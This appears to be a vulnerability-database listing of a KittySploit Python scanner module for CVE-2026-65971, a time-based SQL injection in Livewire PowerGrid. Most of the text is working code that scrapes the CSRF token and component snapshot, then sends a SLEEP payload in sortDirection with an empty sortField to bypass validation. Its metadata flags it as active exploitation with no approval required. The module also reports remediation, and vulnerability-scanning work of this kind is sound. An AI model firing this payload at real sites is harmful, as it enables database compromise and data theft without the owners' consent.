Livewire PowerGrid CVE-2026-65971 Detect
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| Exploit for CVE-2026-65971 | 23 Jul 202621:47 | – | githubexploit | |
| CVE-2026-65971 | 23 Jul 202623:00 | – | circl | |
| CVE-2026-65971 | 23 Jul 202623:00 | – | cve | |
| POC-CVE-2026-65971 | 9 Oct 202609:47 | – | kitploit | |
| Livewire PowerGrid CVE-2026-65971 sortDirection SQLi | 3 Aug 202608:47 | – | kittysploit |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect CVE-2026-65971 Livewire PowerGrid sortDirection SQLi (time-based)."""
from __future__ import annotations
import html
import json
import re
import time
from typing import Dict, Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "Livewire PowerGrid CVE-2026-65971 Detect",
"description": (
"Detects CVE-2026-65971: time-based SQL injection via sortDirection "
"in power-components/livewire-powergrid (< 6.10.4) when a column uses "
"naturalSort(true). Empty sortField bypasses Laravel direction validation."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2026-65971"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-65971",
"https://github.com/advisories/GHSA-7fgc-3h6c-698r",
"https://github.com/BiiTts/POC-CVE-2026-65971",
],
"tags": [
"livewire",
"powergrid",
"laravel",
"sqli",
"cve",
"vuln",
"cve-2026-65971",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 3,
"reversible": True,
"approval_required": False,
"produces": ["risk_signals", "exploit_paths"],
"chain": {
"produces_capabilities": ["inj_param", "db_access"],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"auxiliary/scanner/http/livewire_powergrid_cve_2026_65971_sqli",
],
},
},
"module": "auxiliary/scanner/http/livewire_powergrid_cve_2026_65971_sqli",
"modules": [
"auxiliary/scanner/http/livewire_powergrid_cve_2026_65971_sqli",
],
}
port = OptPort(80, "HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
path = OptString(
"/",
"Path of a page that renders a PowerGrid table with naturalSort",
True,
)
livewire_update_path = OptString(
"/livewire/update",
"Livewire update endpoint",
False,
advanced=True,
)
cookie = OptString("", "Optional Cookie header for authenticated tables", False)
sleep_seconds = OptInteger(3, "MySQL SLEEP() seconds", False, advanced=True)
def _timeout(self) -> int:
sleep_s = max(int(self.sleep_seconds or 3), 1)
return max(int(self.timeout or 30), sleep_s * 3 + 15)
def _page_path(self) -> str:
val = str(self.path or "/").strip() or "/"
return val if val.startswith("/") else f"/{val}"
def _update_path(self) -> str:
val = str(self.livewire_update_path or "/livewire/update").strip() or "/livewire/update"
return val if val.startswith("/") else f"/{val}"
def _headers(self) -> Dict[str, str]:
headers = {"User-Agent": "KittySploit-CVE-2026-65971-detect"}
cookie = str(self.cookie or "").strip()
if cookie:
headers["Cookie"] = cookie
return headers
def run(self):
response = self.http_request(
method="GET",
path=self._page_path(),
headers=self._headers(),
timeout=self._timeout(),
allow_redirects=True,
)
if not response:
return False
body = response.text or ""
csrf = None
for pattern in (
r'data-csrf="([A-Za-z0-9]+)"',
r'"csrf"\s*:\s*"([A-Za-z0-9]+)"',
r'name="csrf-token"\s+content="([^"]+)"',
):
match = re.search(pattern, body, re.I)
if match:
csrf = match.group(1)
break
snapshot = None
for attr in ("wire:snapshot", "wire:initial-data"):
for raw in re.findall(rf'{attr}="([^"]+)"', body):
candidate = html.unescape(raw)
if "sortDirection" in candidate or "PowerGrid" in candidate:
snapshot = candidate
break
if snapshot:
break
if not csrf or not snapshot:
return False
sleep_s = max(int(self.sleep_seconds or 3), 1)
def update(sort_field: str, sort_direction: str) -> Tuple[float, str]:
payload = {
"_token": csrf,
"components": [
{
"snapshot": snapshot,
"updates": {
"sortField": sort_field,
"sortDirection": sort_direction,
},
"calls": [],
}
],
}
headers = self._headers()
headers.update(
{
"Content-Type": "application/json",
"X-CSRF-TOKEN": csrf,
"X-Livewire": "1",
}
)
start = time.perf_counter()
resp = self.http_request(
method="POST",
path=self._update_path(),
headers=headers,
data=json.dumps(payload),
timeout=self._timeout(),
allow_redirects=False,
)
elapsed = time.perf_counter() - start
return elapsed, (resp.text if resp else "") or ""
baseline, _ = update("", "asc")
elapsed, resp = update("", f"asc, (SELECT SLEEP({sleep_s}))")
delta = elapsed - baseline
threshold = sleep_s * 0.6
leak = re.search(
r"SQLSTATE\[\w+\][^\"<]{0,160}|select .{0,60}order by[^\"<]{0,160}",
resp,
re.I,
)
if delta <= threshold and not leak:
return False
reason = (
f"PowerGrid sortDirection SQLi (CVE-2026-65971) | "
f"baseline={baseline:.2f}s injected={elapsed:.2f}s delta={delta:.2f}s"
)
if leak:
reason = f"{reason} | sql_echo={leak.group(0)[:120]}"
self.report_finding(
"Livewire PowerGrid sortDirection SQL injection",
severity="critical",
evidence={
"path": self._page_path(),
"livewire_update": self._update_path(),
"injection": "sortDirection",
"bypass": "sortField=",
"baseline_s": round(baseline, 2),
"injected_s": round(elapsed, 2),
"cve": "CVE-2026-65971",
},
impact={
"summary": "Attacker-controlled ORDER BY via Livewire property.",
"business_risk": "Database compromise / data exfiltration",
},
remediation={
"summary": "Upgrade livewire-powergrid to >= 6.10.4.",
"actions": [
"composer update power-components/livewire-powergrid",
"Ensure sortDirection is sanitized to asc/desc only",
],
},
)
self.set_info(severity="critical", reason=reason, path=self._page_path())
return True
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03 Aug 2026 08:47Current
5.8Medium risk
Vulners AI Score5.8